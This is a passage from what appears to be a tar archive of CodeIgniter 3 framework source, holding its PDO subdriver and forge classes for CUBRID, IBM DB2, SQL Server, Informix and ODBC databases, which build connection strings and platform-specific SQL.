array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'cubrid:host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); empty($this->port) OR $this->dsn .= ';port='.$this->port; empty($this->database) OR $this->dsn .= ';dbname='.$this->database; empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES'; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE '.$table; } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } } drivers/pdo/subdrivers/pdo_ibm_driver.php 0000644 00000014746 14642767160 0014722 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO IBM DB2 Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_ibm_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'ibm'; // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'ibm:'; // Pre-defined DSN if (empty($this->hostname) && empty($this->HOSTNAME) && empty($this->port) && empty($this->PORT)) { if (isset($this->DSN)) { $this->dsn .= 'DSN='.$this->DSN; } elseif ( ! empty($this->database)) { $this->dsn .= 'DSN='.$this->database; } return; } $this->dsn .= 'DRIVER='.(isset($this->DRIVER) ? '{'.$this->DRIVER.'}' : '{IBM DB2 ODBC DRIVER}').';'; if (isset($this->DATABASE)) { $this->dsn .= 'DATABASE='.$this->DATABASE.';'; } elseif ( ! empty($this->database)) { $this->dsn .= 'DATABASE='.$this->database.';'; } if (isset($this->HOSTNAME)) { $this->dsn .= 'HOSTNAME='.$this->HOSTNAME.';'; } else { $this->dsn .= 'HOSTNAME='.(empty($this->hostname) ? '127.0.0.1;' : $this->hostname.';'); } if (isset($this->PORT)) { $this->dsn .= 'PORT='.$this->port.';'; } elseif ( ! empty($this->port)) { $this->dsn .= ';PORT='.$this->port.';'; } $this->dsn .= 'PROTOCOL='.(isset($this->PROTOCOL) ? $this->PROTOCOL.';' : 'TCPIP;'); } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "tabname" FROM "syscat"."tables" WHERE "type" = \'T\' AND LOWER("tabschema") = '.$this->escape(strtolower($this->database)); if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' AND "tabname" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return array */ protected function _list_columns($table = '') { return 'SELECT "colname" FROM "syscat"."columns" WHERE LOWER("tabschema") = '.$this->escape(strtolower($this->database)).' AND LOWER("tabname") = '.$this->escape(strtolower($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "colname" AS "name", "typename" AS "type", "default" AS "default", "length" AS "max_length", CASE "keyseq" WHEN NULL THEN 0 ELSE 1 END AS "primary_key" FROM "syscat"."columns" WHERE LOWER("tabschema") = '.$this->escape(strtolower($this->database)).' AND LOWER("tabname") = '.$this->escape(strtolower($table)).' ORDER BY "colno"'; return (($query = $this->query($sql)) !== FALSE) ? $query->result_object() : FALSE; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { $sql .= ' FETCH FIRST '.($this->qb_limit + $this->qb_offset).' ROWS ONLY'; return ($this->qb_offset) ? 'SELECT * FROM ('.$sql.') WHERE rownum > '.$this->qb_offset : $sql; } } drivers/pdo/subdrivers/pdo_sqlsrv_driver.php 0000644 00000025301 14642767161 0015473 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO SQLSRV Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_sqlsrv_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'sqlsrv'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('NEWID()', 'RAND(%d)'); /** * Quoted identifier flag * * Whether to use SQL-92 standard quoted identifier * (double quotes) or brackets for identifier escaping. * * @var bool */ protected $_quoted_identifier; // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'sqlsrv:Server='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); empty($this->port) OR $this->dsn .= ','.$this->port; empty($this->database) OR $this->dsn .= ';Database='.$this->database; // Some custom options if (isset($this->QuotedId)) { $this->dsn .= ';QuotedId='.$this->QuotedId; $this->_quoted_identifier = (bool) $this->QuotedId; } if (isset($this->ConnectionPooling)) { $this->dsn .= ';ConnectionPooling='.$this->ConnectionPooling; } if ($this->encrypt === TRUE) { $this->dsn .= ';Encrypt=1'; } if (isset($this->TraceOn)) { $this->dsn .= ';TraceOn='.$this->TraceOn; } if (isset($this->TrustServerCertificate)) { $this->dsn .= ';TrustServerCertificate='.$this->TrustServerCertificate; } empty($this->APP) OR $this->dsn .= ';APP='.$this->APP; empty($this->Failover_Partner) OR $this->dsn .= ';Failover_Partner='.$this->Failover_Partner; empty($this->LoginTimeout) OR $this->dsn .= ';LoginTimeout='.$this->LoginTimeout; empty($this->MultipleActiveResultSets) OR $this->dsn .= ';MultipleActiveResultSets='.$this->MultipleActiveResultSets; empty($this->TraceFile) OR $this->dsn .= ';TraceFile='.$this->TraceFile; empty($this->WSID) OR $this->dsn .= ';WSID='.$this->WSID; } elseif (preg_match('/QuotedId=(0|1)/', $this->dsn, $match)) { $this->_quoted_identifier = (bool) $match[1]; } } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { if ( ! empty($this->char_set) && preg_match('/utf[^8]*8/i', $this->char_set)) { $this->options[PDO::SQLSRV_ENCODING_UTF8] = 1; } $this->conn_id = parent::db_connect($persistent); if ( ! is_object($this->conn_id) OR is_bool($this->_quoted_identifier)) { return $this->conn_id; } // Determine how identifiers are escaped $query = $this->query('SELECT CASE WHEN (@@OPTIONS | 256) = @@OPTIONS THEN 1 ELSE 0 END AS qi'); $query = $query->row_array(); $this->_quoted_identifier = empty($query) ? FALSE : (bool) $query['qi']; $this->_escape_char = ($this->_quoted_identifier) ? '"' : array('[', ']'); return $this->conn_id; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT '.$this->escape_identifiers('name') .' FROM '.$this->escape_identifiers('sysobjects') .' WHERE '.$this->escape_identifiers('type')." = 'U'"; if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' AND '.$this->escape_identifiers('name')." LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql.' ORDER BY '.$this->escape_identifiers('name'); } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $retval[$i]->max_length = ($query[$i]->CHARACTER_MAXIMUM_LENGTH > 0) ? $query[$i]->CHARACTER_MAXIMUM_LENGTH : $query[$i]->NUMERIC_PRECISION; $retval[$i]->default = $query[$i]->COLUMN_DEFAULT; } return $retval; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { return 'WITH ci_delete AS (SELECT TOP '.$this->qb_limit.' * FROM '.$table.$this->_compile_wh('qb_where').') DELETE FROM ci_delete'; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { // As of SQL Server 2012 (11.0.*) OFFSET is supported if (version_compare($this->version(), '11', '>=')) { // SQL Server OFFSET-FETCH can be used only with the ORDER BY clause empty($this->qb_orderby) && $sql .= ' ORDER BY 1'; return $sql.' OFFSET '.(int) $this->qb_offset.' ROWS FETCH NEXT '.$this->qb_limit.' ROWS ONLY'; } $limit = $this->qb_offset + $this->qb_limit; // An ORDER BY clause is required for ROW_NUMBER() to work if ($this->qb_offset && ! empty($this->qb_orderby)) { $orderby = $this->_compile_order_by(); // We have to strip the ORDER BY clause $sql = trim(substr($sql, 0, strrpos($sql, $orderby))); // Get the fields to select from our subquery, so that we can avoid CI_rownum appearing in the actual results if (count($this->qb_select) === 0 OR strpos(implode(',', $this->qb_select), '*') !== FALSE) { $select = '*'; // Inevitable } else { // Use only field names and their aliases, everything else is out of our scope. $select = array(); $field_regexp = ($this->_quoted_identifier) ? '("[^\"]+")' : '(\[[^\]]+\])'; for ($i = 0, $c = count($this->qb_select); $i < $c; $i++) { $select[] = preg_match('/(?:\s|\.)'.$field_regexp.'$/i', $this->qb_select[$i], $m) ? $m[1] : $this->qb_select[$i]; } $select = implode(', ', $select); } return 'SELECT '.$select." FROM (\n\n" .preg_replace('/^(SELECT( DISTINCT)?)/i', '\\1 ROW_NUMBER() OVER('.trim($orderby).') AS '.$this->escape_identifiers('CI_rownum').', ', $sql) ."\n\n) ".$this->escape_identifiers('CI_subquery') ."\nWHERE ".$this->escape_identifiers('CI_rownum').' BETWEEN '.($this->qb_offset + 1).' AND '.$limit; } return preg_replace('/(^\SELECT (DISTINCT)?)/i','\\1 TOP '.$limit.' ', $sql); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { // Multiple-value inserts are only supported as of SQL Server 2008 if (version_compare($this->version(), '10', '>=')) { return parent::_insert_batch($table, $keys, $values); } return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } } drivers/pdo/subdrivers/pdo_informix_forge.php 0000644 00000010346 14642767163 0015610 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Informix Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_informix_forge extends CI_DB_pdo_forge { /** * RENAME TABLE statement * * @var string */ protected $_rename_table = 'RENAME TABLE %s TO %s'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INTEGER' => 'BIGINT', 'REAL' => 'DOUBLE PRECISION', 'SMALLFLOAT' => 'DOUBLE PRECISION' ); /** * DEFAULT value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_default = ', '; // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'CHANGE') { $alter_type = 'MODIFY'; } return parent::_alter_table($alter_type, $table, $field); } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'BYTE': case 'TEXT': case 'BLOB': case 'CLOB': $attributes['UNIQUE'] = FALSE; if (isset($attributes['DEFAULT'])) { unset($attributes['DEFAULT']); } return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute UNIQUE * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_unique(&$attributes, &$field) { if ( ! empty($attributes['UNIQUE']) && $attributes['UNIQUE'] === TRUE) { $field['unique'] = ' UNIQUE CONSTRAINT '.$this->db->escape_identifiers($field['name']); } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported } } drivers/pdo/subdrivers/pdo_odbc_driver.php 0000644 00000013400 14642767164 0015050 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO ODBC Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_odbc_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'odbc'; /** * Database schema * * @var string */ public $schema = 'public'; // -------------------------------------------------------------------- /** * Identifier escape character * * Must be empty for ODBC. * * @var string */ protected $_escape_char = ''; /** * ESCAPE statement string * * @var string */ protected $_like_escape_str = " {escape '%s'} "; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RND()', 'RND(%d)'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'odbc:'; // Pre-defined DSN if (empty($this->hostname) && empty($this->HOSTNAME) && empty($this->port) && empty($this->PORT)) { if (isset($this->DSN)) { $this->dsn .= 'DSN='.$this->DSN; } elseif ( ! empty($this->database)) { $this->dsn .= 'DSN='.$this->database; } return; } // If the DSN is not pre-configured - try to build an IBM DB2 connection string $this->dsn .= 'DRIVER='.(isset($this->DRIVER) ? '{'.$this->DRIVER.'}' : '{IBM DB2 ODBC DRIVER}').';'; if (isset($this->DATABASE)) { $this->dsn .= 'DATABASE='.$this->DATABASE.';'; } elseif ( ! empty($this->database)) { $this->dsn .= 'DATABASE='.$this->database.';'; } if (isset($this->HOSTNAME)) { $this->dsn .= 'HOSTNAME='.$this->HOSTNAME.';'; } else { $this->dsn .= 'HOSTNAME='.(empty($this->hostname) ? '127.0.0.1;' : $this->hostname.';'); } if (isset($this->PORT)) { $this->dsn .= 'PORT='.$this->port.';'; } elseif ( ! empty($this->port)) { $this->dsn .= ';PORT='.$this->port.';'; } $this->dsn .= 'PROTOCOL='.(isset($this->PROTOCOL) ? $this->PROTOCOL.';' : 'TCPIP;'); } } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { $this->display_error('db_unsupported_feature'); } // -------------------------------------------------------------------- /** * Determines if a query is a "write" type. * * @param string An SQL query string * @return bool */ public function is_write_type($sql) { if (preg_match('#^(INSERT|UPDATE).*RETURNING\s.+(\,\s?.+)*$#is', $sql)) { return FALSE; } return parent::is_write_type($sql); } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = "SELECT table_name FROM information_schema.tables WHERE table_schema = '".$this->schema."'"; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." AND table_name LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT column_name FROM information_schema.columns WHERE table_name = '.$this->escape($table); } } drivers/pdo/subdrivers/pdo_odbc_forge.php 0000644 00000004423 14642767165 0014665 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO ODBC Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/database/ */ class CI_DB_pdo_odbc_forge extends CI_DB_pdo_forge { /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported (in most databases at least) } } drivers/pdo/subdrivers/pdo_informix_driver.php 0000644 00000020505 14642767166 0016002 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Informix Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_informix_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'informix'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('ASC', 'ASC'); // Currently not supported // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'informix:'; // Pre-defined DSN if (empty($this->hostname) && empty($this->host) && empty($this->port) && empty($this->service)) { if (isset($this->DSN)) { $this->dsn .= 'DSN='.$this->DSN; } elseif ( ! empty($this->database)) { $this->dsn .= 'DSN='.$this->database; } return; } if (isset($this->host)) { $this->dsn .= 'host='.$this->host; } else { $this->dsn .= 'host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); } if (isset($this->service)) { $this->dsn .= '; service='.$this->service; } elseif ( ! empty($this->port)) { $this->dsn .= '; service='.$this->port; } empty($this->database) OR $this->dsn .= '; database='.$this->database; empty($this->server) OR $this->dsn .= '; server='.$this->server; $this->dsn .= '; protocol='.(isset($this->protocol) ? $this->protocol : 'onsoctcp') .'; EnableScrollableCursors=1'; } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "tabname" FROM "systables" WHERE "tabid" > 99 